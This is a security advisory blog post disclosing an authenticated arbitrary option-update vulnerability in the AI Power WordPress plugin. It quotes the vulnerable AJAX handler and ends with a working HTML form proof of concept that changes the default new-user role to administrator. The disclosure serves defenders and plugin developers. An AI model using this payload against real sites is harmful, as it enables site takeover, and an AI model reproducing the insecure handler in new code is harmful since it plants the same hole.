Did ChatGPT Create This Serious Authenticated Option Update Vulnerability in the WordPress Plugin AI Power?
A lot has been made about the possible security risk with code created by ChatGPT whether in WordPress plugins or otherwise. A more pedestrian risk is that WordPress plugins that interact with that are themselves insecure, whether written by ChatGPT or not. Last week, one of those plugins, AI Power, which is described by the developer as the “most popular, WordPress-based open-source AI solution” started introducing a serious vulnerability in to the 10,000+ websites using it. The vulnerability allows those logged in to WordPress to change arbitrary WordPress options (settings), which among other things could allow them to take over the website by allowing them to create new WordPress accounts with the Administrator role.
Our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities caught that.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
There appear to be more vulnerabilities in the plugin’s code that are similar to the insecure code detailed below. We would recommend not using the plugin, unless the developer is able to get a better handle on security.
Authenticated Option Update
Last week, the developer introduced a “new troubleshooting tool for Embeddings”, which involves a new function wpaicg_troubleshoot_save() in a new file, /classes/wpaicg_troubleshoot.php. That function is registered to be accessible to those logged in to WordPress through its AJAX functionality:
22 | add_action('wp_ajax_wpaicg_troubleshoot_save',[$this,'wpaicg_troubleshoot_save']); |
That function checks for a valid nonce to prevent cross-site request forgery (CSRF) and then updates arbitrary WordPress options to arbitrary values. The only restriction is that the value for the option and the new value for it are sanitized:
25 26 27 28 29 30 31 32 33 | public function wpaicg_troubleshoot_save() { if ( ! wp_verify_nonce( $_POST['nonce'], 'wpaicg-ajax-nonce' ) ) { die(WPAICG_NONCE_ERROR); } $key = sanitize_text_field($_REQUEST['key']); $value = sanitize_text_field($_REQUEST['value']); update_option($key, $value); } |
The nonce needed for that is shown on the Admin dashboard, which is normally accessible to anyone logged in to WordPress.
As the proof of concept below confirms, that can be used to change the default role for new WordPress users to Administrator.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will change the default role for new users to Administrator, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of wpaicg_fetch_finetune found in the source code of the admin dashboard.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpaicg_troubleshoot_save" method="POST"> <input type="hidden" name="nonce" value="[nonce]" /> <input type="hidden" name="key" value="default_role" /> <input type="hidden" name="value" value="administrator" /> <input type="submit" value="Submit" /> </form> </body>